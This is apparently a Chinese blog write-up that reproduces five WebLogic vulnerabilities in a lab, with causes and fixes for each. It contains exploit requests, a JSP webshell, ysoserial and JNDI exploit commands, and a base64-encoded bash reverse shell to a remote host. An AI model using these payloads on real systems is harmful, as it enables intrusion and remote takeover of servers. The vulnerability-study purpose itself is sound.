Weblogic漏洞分析
CVE-2017-10271
XMLDecoder反序列化
影响版本
- OracleWebLogic Server10.3.6.0.0
- OracleWebLogic Server12.1.3.0.0
- OracleWebLogic Server12.2.1.1.0
- OracleWebLogic Server12.2.1.2.0
涉及到的路径
- /wls-wsat/CoordinatorPortType
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/ParticipantPortType
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationRequesterPortType11
原理
产生的原因大致是Weblogic的WLS Security组件对外提供webservice
服务,其中使用了XMLDecoder来解析用户POST传入的XML数据,通过构造恶意数据进行利用。
漏洞复现
访问7001端口,如下图说明搭建完成
访问路径/wls-wsat/CoordinatorPortType
,如果出现下方页面说明存在漏洞
抓包,类型转为POST,再把其中的中的Content-Type
改为text/xml
以便于解析xml,并传入XML的payload,用dnslog测试是否能利用
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
看到whoami
的回显为root
,说明可以利用
反弹shell
更改payload为反弹shell命令,同时在vps上监听6666端口
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> |
发送数据包后得到shell
写入webshell
除了反弹shell,还可以写入webshell
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){ |
上传后执行命令即可
1 | http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami |
工具
WeblogicTool_1.3.jar
最简便的方法还是用开源的工具
检查漏洞
执行命令
修复
- 升级Weblogic版本
- 对访问wls-wsat的资源进行访问控制
- 若Weblogic服务器集群中未应用wls-wsat组件的CoordinatorPortType接口,临时备份后将此组件临时删除,当形成防护能力后,再进行恢复。
CVE-2018-2628
基于Weblogic t3协议引起远程代码执行的反序列化漏洞属于Weblogic JRMP反序列化
影响版本
- Oracle WebLogic Server10.3.6.0
- Oracle WebLogic Server12.2.1.2
- Oracle WebLogic Server12.2.1.3
- Oracle WebLogic Server12.1.3.0
原理
RMI是Java平台提供的分布式对象通信机制,允许一个JVM中的对象调用另一个JVM中的对象方法。其默认通信协议为JRMP, 即Java远程消息交换协议,而T3协议是WebLogic专有协议,用于替代JRMP,算是它的优化版吧。
T3协议的数据包结构大概是前面是T3协议头,其他部分为正常的序列化对象,该漏洞是把正常的序列化对象部分改为恶意对象,目标服务器反序列化是就会触发漏洞。
漏洞复现
环境启动后,会开启7001端口
使用ysoserial在vps上7777端口开启一个JRMP Server服务,并将命令设置为为创建一个文件
1 | java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 'touch /tmp/jjxxx' |
反弹shell时改为以下命令
1 | bash -c {echo,ICAgYmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i} |
使用exploits.py脚本构造含有恶意恶意序列化数据的JRMP 协议格式数据包,并发送给目标ip 7001端口,当目标ip反序列化数据包之后就会主动去连接上方开启7777端口的JRMP Server恶意服务,进而触发第二次反序列化执行命令。
1 | python2 exploit.py 目标ip 7001 ysoserial.jar vpsip 7777 JRMPClient |
此时JRMP Server出现回显
脚本跑完之后如下
进入容器的tmp目录查看,成功创建文件
其他
检测漏洞工具WeblogicScan
检测weblogic版本信息和t3协议是否开启
1 | nmap -v -n --script https://cdn.jjjxx.top/img/Weblogic-t3-info 靶机ip - p7001,7002 |
修复
- 控制默认7001端口T3服务的访问权限
- 升级版本
CVE-2018-2894
任意文件上传
影响版本
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 12.1.3.0
- Oracle WebLogic Server 12.2.1.2
- Oracle WebLogic Server 12.2.1.3
漏洞复现
开启环境后访问http://ip:7001/console/login/LoginForm.jsp,需要账号密码
看一下密码
1 | docker-compose logs | grep password |
得到账号密码
登录后,点击base_domain
,再点击高级
找到并勾选启动Web服务测试页
先访问/ws_utc/config.do
路径,当前的目录不在Web目录下,更改一下工作目录路径到无需权限的静态文件目录下/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
保存后点击安全
点添加
在这里上传webshell,并抓包
可以看到该文件的时间戳
然后访问http://ip:7001/ws_utc/css/config/keystore/时间戳_文件名
就可以了
用webshell工具连接
可以正常执行命令
另外一个上传点
修复
- 设置Config.do、begin.do页面登录授权后访问;
- IPS等防御产品可以加入相应的特征;
- 升级到官方最新版本;
CVE-2020-14882
未授权命令执行
影响版本
- Oracle Weblogic Server 10.3.6.0.0
- Oracle Weblogic Server 12.1.3.0.0
- Oracle Weblogic Server 12.2.1.3.0
- Oracle Weblogic Server 12.2.1.4.0
- Oracle Weblogic Server 14.1.1.0.0
漏洞复现
可以未授权访问低权限的后台
1 | /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%2 |
1 | /console/css/%252e%252e%252fconsole.portal |
执行命令
1 | /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping monster.gdcll8.dnslog.cn%27);%22) |
CVE-2020-14882_ALL工具直接利用
1 | python CVE-2020-14882_ALL.py -u http://ip:7001/ -c "whoami" |
CVE-2023-21839
JNDI
影响版本
- Oracle WebLogic Server 12.2.1.3.0
- Oracle WebLogic Server 12.2.1.4.0
- Oracle WebLogic Server 14.1.1.0.0
低版本JDK
原理
漏洞原理其实是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端调用远程对象getReferent方法,其中存在retVal = context.lookup(this.remoteJNDIName),remoteJNDIName参数可控,攻击者可利用rmi/ldap远程协议进行远程命令执行。
漏洞复现
检测漏洞
先开启恶意LDAP服务
1 | java -jar JNDIExploit-1.3-SNAPSHOT.jar -i vpsip |
并监听9999端口
这里我使用https://cdn.jjjxx.top/img/Weblogic-CVE-2023-21839EXP利用,该EXP的作用就是构造恶意OpaqueReference对象,并将该对象通过协议绑定到WebLogic的JNDI目录,再调用lookup查看远程对象,同时把remoteJNDIName值设置成恶意LDAP服务,最终目标服务端就会触发漏洞。
1 | java -jar https://cdn.jjjxx.top/img/Weblogic-CVE-2023-21839.jar 目标:7001 ldap://vpsip:1389/Basic/ReverseShell/vpsip/9999 |
此时弹过来shell
WeblogicTool_1.3.jar工具
修复
- 升级weblogic版本
- 临时措施:使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议,禁用IIOP协议